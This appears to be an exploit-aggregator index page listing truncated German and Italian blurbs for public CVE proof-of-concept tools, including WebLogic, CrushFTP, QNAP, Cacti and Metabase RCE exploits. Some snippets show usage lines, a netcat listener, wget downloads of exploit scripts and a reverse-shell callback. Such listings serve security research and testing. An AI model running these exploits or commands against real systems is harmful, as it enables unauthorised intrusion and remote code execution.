CVE-2023-34039

CVE-2023-34039 POC für CVE-2023-34039 VMWare Aria Operations for Networks vRealize Network Insight Statischer SSH-Schlüssel RCE Technische Analyse Eine Root-Cause-Analyse der Schwachstelle findest du in meinem Blog: https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/...

CVE-2025-32462-CVE-2025-32463-PoC-Lab

CVE-2025-32462 & CVE-2025-32463 – Fortgeschrittenes PoC-Labor Dieses Repository stellt ein containerbasiertes Labor und einen detaillierten PoC für zwei kritische sudo-Sicherheitslücken bereit: CVE-2025-32462 – Umgehung der Host-Abgleichlogik durch sudo -h CVE-2025-32463 – Escape aus der...

CVE-2024-52011

cve-id ⚡ Einfache Verwendung Verwenden Sie dieses Projekt nur in sicheren und autorisierten Umgebungen, z. B.: Lokale virtuelle Maschinen Docker-Container Isolierte Laborumgebungen Autorisierte Penetrationstest-Umgebungen Beispiel-Setup: root@kitploit: git clone cd Project use python follow below...

CVE-2021-3156-without-ip-command

CVE-2021-3156-without-ip-command fork di worawit/CVE-2021-3156 exploitnss.py modificato per funzionare con ifconfig invece del comando ip root@kitploit: wget https://github.com/Bad3r/CVE-2021-3156-without-ip-command/raw/refs/heads/main/exploitnss.py or wget https://cdn.unsigned.sh/exploitnss.py...

astDoS

astDoS Werkzeug zur Ausnutzung von CVE-2018-7284 und CVE-2018-19278 Verwendung Dieses Tool wird als Befehl verwendet. root@kitploit: astDoS.py -h -a 1,2 -sA SERVERIP -sP SERVERPORT -u USER -p PASSWD -sub SUBUSER -dA DNSIP -dP DNSPORT -v VERSION DoS-Angriff gegen Asterisk, CVE-2018-7284 und...

CVE-2020-14882

Oracle WebLogic Nicht authentifizierter RCE-Exploit Dieses PowerShell-Skript nutzt CVE-2020-14882 aus, um eine nicht authentifizierte Remote-Codeausführung auf Oracle WebLogic Server-Versionen zu erreichen: 10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0 Verwendung root@kitploit:...

CVE-2024-4040

CVE-2024-4040 PoC Exploit Python per CVE-2024-4040 Descrizione Una vulnerabilità di server side template injection in CrushFTP in tutte le versioni precedenti alla 10.7.1 e 11.1.0 su tutte le piattaforme consente ad attaccanti remoti non autenticati di leggere file dal filesystem al di fuori del...

CVE-2021-32161

..| XSStoCommandInjection2 |.. Descrizione : Sfruttare un attacco di Cross-Site Scripting XSS riflesso per ottenere un Command Injection tramite la funzione File Manager di Webmin Versione testata : Webmin 1.973 ultima versione su GitHub 07/03/2021 Tipo di attacco: Remoto Impatto : Esecuzione di...

Exploit for Incorrect Authorization in Heinlein Opencloud_Reva

CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale public-li...

CVE-2023-38646

CVE-2023-38646 Un exploit RCE in Python per CVE-2023-38646 Utilizzo Avvia un listener root@kitploit: nc -lvnp Esegui l'exploit root@kitploit: python3 CVE-2023-38646.py -u -l -p Aiuto root@kitploit: python3 CVE-2023-38646.py -h usage: CVE-2023-38646.py -h -u URL -l LHOST -p LPORT optional argument...

CVE-2023-47218

CVE-2023-47218 CVE-2023-47218: Iniezione di comando non autenticata in QNAP QTS e QuTS Hero RISOLTO POC root@kitploit: POST /cgi-bin/quick/quick.cgi?func=switchos&todo=uploaffirmwareimage HTTP/1.1 Host: 192.168.86.42:8080 User-Agent: Mozilla Macintosh Accept: / Content-Length: 164 Content-Type:...

React2Hell

🧨 React2Hell — CVE-2025-55182 Exploit 🔥 Next.js / React Server Esecuzione Remota di Codice RCE Exploit root@kitploit: █████▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ██ ██ ▄▄▄▄▄ ▄▄ ▄▄ ██▄▄██▄ ██▄▄ ██▀██ ██▀▀▀ ██ ▄██▀ ██████ ██▄▄ ██ ██ ██ ██ ██▄▄▄ ██▀██ ▀████ ██ ███▄▄ ██ ██ ██▄▄▄ ██▄▄▄ ██▄▄▄ Next.js/React Serv...

CVE-2026-31525

cve-id ⚡ Utilizzo Semplice Utilizza questo progetto solo in ambienti sicuri e autorizzati come: Macchine virtuali locali Contenitori Docker Configurazioni di laboratorio isolate Ambienti di test di penetrazione autorizzati Configurazione di esempio: root@kitploit: git clone cd Esempio di utilizzo...

CVE-2026-45247

cve-id ⚡ Uso Semplice Utilizza questo progetto solo in ambienti sicuri e autorizzati, come: Macchine virtuali locali Contenitori Docker Configurazioni di laboratorio isolate Ambienti di test di penetrazione autorizzati Esempio di configurazione: root@kitploit: git clone cd Esempio di utilizzo:...

CVE-2026-0273

cve-id ⚡ Utilizzo Semplice Usa questo progetto solo in ambienti sicuri e autorizzati come: Macchine virtuali locali Container Docker Configurazioni di laboratorio isolate Ambienti di test di penetrazione autorizzati Esempio di configurazione: root@kitploit: git clone cd Project use python follow...

CVE-2020-10977.py

CVE-2020-10977.py lettura arbitraria di file autenticata per Gitlab CVE-2020-10977 utilizzo: CVE-2020-10977.py -h --verifySSL -f FILELIST host token Exploit per la local file inclusion di gitlab lettura arbitraria di file autenticata - CVE-2020-10977. Modifica la variabile pullfiles per includere...

CVE-2024-45058

CVE-2024-45058 PoC per CVE-2024-45058 Broken Access Control Controllo di accesso non corretto, che consente a qualsiasi utente con permesso di visualizzazione nella sezione di configurazione utente di diventare amministratore modificando il proprio tipo di utente. Ottieni l'ID nivelusuario...

Exploit for CVE-2026-81578

Professional security research tool for PaperCut NG/MF vulne...

CVE-2022-46169

CVE-2022-41343 🐍 Exploit Python per CVE-2022-46169 Staged Reverse Shell per Cacti = 1.2.22 Esempio root@kitploit: cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb Utilizzo root@kitploit: usage: cve-2022-46169 -h -u URL -s SHELL ip port positional arguments: ip Indirizzo IP/Host di callback del...

CVE-2022-1903

CVE-2022-1903 root@kitploit: Title: ARMember 3.4.8 - Unauthenticated Admin Account Takeover Author: Cyllective https://cyllective.com/ CVE: CVE-2022-1903 Installazione root@kitploit: git clone https://github.com/biulove0x/CVE-2022-1903.git cd CVE-2022-1903/ python3 -m pip install -r...